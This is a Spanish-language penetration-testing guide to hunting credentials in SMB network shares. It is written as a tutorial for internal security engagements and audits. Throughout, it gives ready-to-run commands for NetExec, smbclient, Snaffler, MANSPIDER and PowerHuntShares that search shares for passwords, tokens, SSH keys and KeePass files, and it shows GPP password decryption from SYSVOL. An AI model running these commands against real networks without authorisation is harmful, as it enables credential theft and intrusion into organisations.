busqueda-de-credenciales-en-recursos-compartidos-de-red
Búsqueda de Credenciales en Recursos Compartidos de Red
Section titled “Búsqueda de Credenciales en Recursos Compartidos de Red”Los shares SMB en entornos corporativos acumulan décadas de scripts, configuraciones, backups y documentación. Es frecuente encontrar contraseñas hardcodeadas en scripts de automatización, archivos de configuración y hojas de cálculo que los administradores dejaron en carpetas compartidas. En muchos engagements internos, esta búsqueda da acceso a credenciales críticas sin explotar ninguna vulnerabilidad técnica.
Estrategia de búsqueda
Section titled “Estrategia de búsqueda”Antes de lanzar herramientas automatizadas, conviene definir qué buscar para reducir falsos positivos y priorizar los shares más valiosos:
- Buscar palabras clave dentro de archivos:
passw,user,token,key,secret - Priorizar extensiones asociadas a credenciales:
.ini,.cfg,.env,.xlsx,.ps1,.bat - Buscar archivos con nombres reveladores:
config,user,passw,cred,initial - Adaptar las keywords al idioma del objetivo — una empresa española usará
contraseña, una alemanaBenutzeroKennwort - Priorizar shares de IT y sysadmin sobre shares de fotografías o marketing — el tiempo es limitado y diez shares con miles de archivos cada uno requieren horas
- Empezar con búsquedas manuales básicas antes de escalar a herramientas pesadas
Enumeración de shares accesibles
Section titled “Enumeración de shares accesibles”# NetExec — listar shares con credenciales de usuario de dominionetexec smb 192.168.1.0/24 -u usuario -p Password123 --shares
# Impacket — listar sharesimpacket-smbclient DOMINIO/usuario:Password123@192.168.1.10# Dentro del cliente: shares / ls / get archivo
# smbclient directosmbclient -L //192.168.1.10 -U usuario%Password123smbclient //192.168.1.10/NETLOGON -U usuario%Password123Búsqueda manual con PowerShell
Section titled “Búsqueda manual con PowerShell”# Buscar archivos por extensión y contenido en un shareGet-ChildItem -Recurse -Include *.ps1,*.bat,*.xml,*.ini,*.cfg,*.env \\DC01\IT | Select-String -Pattern "passw","password","secret","token" | Select-Object Path, LineNumber, LineMontar shares para búsqueda masiva (Linux)
Section titled “Montar shares para búsqueda masiva (Linux)”# Montar share en Linuxsudo mount -t cifs //192.168.1.10/Compartido /mnt/share \ -o username=usuario,password=Password123,domain=EMPRESA
# Buscar ficheros con credenciales en el share montadogrep -r "password\|passwd\|secret\|token\|api_key" /mnt/share/ 2>/dev/null \ --include="*.txt" --include="*.xml" --include="*.ini" \ --include="*.conf" --include="*.ps1" --include="*.bat" \ --include="*.csv" --include="*.xlsx" -lSnaffler — Windows
Section titled “Snaffler — Windows”Snaffler es la herramienta más completa para escanear shares en entornos Active Directory. Ejecutada desde un host unido al dominio, enumera automáticamente todos los shares accesibles y busca patrones de credenciales, claves y certificados. Clasifica los hallazgos por severidad: Red (crítico), Yellow (interesante), Green (revisión manual).
# Búsqueda básica — descubre y escanea todos los shares del dominioSnaffler.exe -s
# Con output a ficheroSnaffler.exe -s -d dominio.local -o snaffler.log -v data
# Filtrar por servidor específicoSnaffler.exe -s -n dc01.dominio.local -o snaffler.log
# Buscar referencias a usuarios de AD en archivosSnaffler.exe -s -u
# Especificar shares concretosSnaffler.exe -s -i \\DC01\IT,\\DC01\FinanceSnaffler detecta automáticamente: contraseñas en .ps1, .bat, .cmd, cadenas de conexión en web.config, archivos KeePass (.kdbx), claves privadas SSH y certificados PFX, hashes en archivos de configuración y GPP passwords en SYSVOL.
PowerHuntShares — Windows
Section titled “PowerHuntShares — Windows”PowerHuntShares es un script PowerShell que no requiere máquina unida al dominio y genera un informe HTML con los resultados, lo que facilita la revisión posterior. Especialmente útil para auditorías donde se necesita documentar el alcance de la exposición.
# Escaneo básico con 100 threads — output en directorio especificadoInvoke-HuntSMBShares -Threads 100 -OutputDirectory C:\Users\PublicEl informe incluye: shares con permisos excesivos, archivos interesantes por categoría (crítico/alto/medio/bajo), timelines de último acceso y escritura, propietarios comunes y listados de directorios.
MANSPIDER — búsqueda remota desde Linux
Section titled “MANSPIDER — búsqueda remota desde Linux”MANSPIDER permite escanear shares SMB directamente desde Linux sin necesitar acceso a un host Windows del dominio. La forma más fiable de ejecutarlo es con Docker para evitar problemas de dependencias:
# Instalar via Dockerdocker pull blacklanternsecurity/manspider
# Escanear un host buscando archivos con "passw" en el contenidodocker run --rm -v ./manspider:/root/.manspider \ blacklanternsecurity/manspider 192.168.1.10 \ -c 'passw' -u 'usuario' -p 'Password123'
# Buscar por extensión de archivodocker run --rm -v ./manspider:/root/.manspider \ blacklanternsecurity/manspider 192.168.1.0/24 \ -e ps1 bat xml config env \ -u 'usuario' -p 'Password123'
# Combinar contenido y extensióndocker run --rm -v ./manspider:/root/.manspider \ blacklanternsecurity/manspider 192.168.1.10 \ -c 'password' -e xml config \ -u 'usuario' -p 'Password123'Los archivos que coincidan se descargan automáticamente a ./manspider/loot/.
NetExec spider
Section titled “NetExec spider”NetExec incluye funcionalidad de spider para buscar contenido en shares sin herramientas adicionales:
# Buscar archivos con "passw" en el share ITnetexec smb 192.168.1.10 -u usuario -p Password123 \ --spider IT --content --pattern "passw"
# Buscar en todos los shares accesiblesnetexec smb 192.168.1.10 -u usuario -p Password123 \ --spider C$ --content --pattern "password"
# Listar archivos por extensiónnetexec smb 192.168.1.10 -u usuario -p Password123 \ --spider IT --pattern "\.kdbx$"SYSVOL y NETLOGON
Section titled “SYSVOL y NETLOGON”Los shares SYSVOL y NETLOGON son accesibles por defecto para cualquier usuario autenticado del dominio y contienen scripts de inicio de sesión y políticas de grupo:
# Acceder a SYSVOLsmbclient //dc01.dominio.local/SYSVOL -U usuario%Password123
# Buscar GPP passwords (archivos Groups.xml, Services.xml, etc.)find /mnt/sysvol -name "Groups.xml" -o -name "Services.xml" \ -o -name "Scheduledtasks.xml" -o -name "Printers.xml" 2>/dev/null
# Descifrar cpassword con gpp-decryptgpp-decrypt "cpassword_value"
# O con NetExec automáticamentenetexec smb dc01.dominio.local -u usuario -p Password123 -M gpp_passwordShares con acceso anónimo
Section titled “Shares con acceso anónimo”# Comprobar shares accesibles sin credencialesnetexec smb 192.168.1.0/24 -u '' -p '' --sharessmbclient -L //192.168.1.10 -Nsmbclient //192.168.1.10/Publico -NLos shares anónimos (Everyone: Read) son una misconfiguration frecuente en entornos corporativos que nunca revisaron los permisos del almacenamiento de ficheros.
Tipos de archivos de mayor interés
Section titled “Tipos de archivos de mayor interés”| Extensión | Contenido potencial |
|---|---|
.ps1, .bat, .cmd |
Scripts con credenciales hardcodeadas |
.xml, .config |
Configuraciones de aplicaciones y IIS |
.ini, .conf, .env |
Configuraciones de servicios y variables de entorno |
.kdbx |
Base de datos KeePass |
.pfx, .p12 |
Certificados con clave privada |
.pem, .key |
Claves privadas SSH/TLS |
.xls, .xlsx, .csv |
Inventarios de contraseñas o activos |
id_rsa, *.ppk |
Claves SSH (PuTTY) |
.vhd, .vmdk |
Imágenes de disco — pueden contener SAM/NTDS |
unattend.xml, sysprep.xml |
Contraseñas de despliegue |
Resumen de herramientas
Section titled “Resumen de herramientas”| Herramienta | Plataforma | Mejor para |
|---|---|---|
| Snaffler | Windows (unido al dominio) | Escaneo completo del dominio, clasificación automática por severidad |
| PowerHuntShares | Windows (no requiere dominio) | Informe HTML, auditoría documentada |
| MANSPIDER | Linux (Docker) | Escaneo remoto sin acceso a Windows |
| NetExec spider | Linux | Búsqueda rápida integrada sin herramientas adicionales |
| smbclient + grep | Linux | Inspección manual de shares específicos |
En muchos entornos, el share
\\DC\SYSVOLtiene scripts.batde inicio de sesión creados hace años connet use Z: \\servidor\recurso /user:DOMINIO\svcaccount Password123. Ese tipo de credenciales de service accounts raramente se rotan.
Las herramientas automatizadas generan muchos falsos positivos. Siempre se necesita revisión manual de los resultados. Priorizar los hallazgos Red de Snaffler y los archivos
.kdbx— un gestor de contraseñas de un administrador puede contener acceso a toda la infraestructura.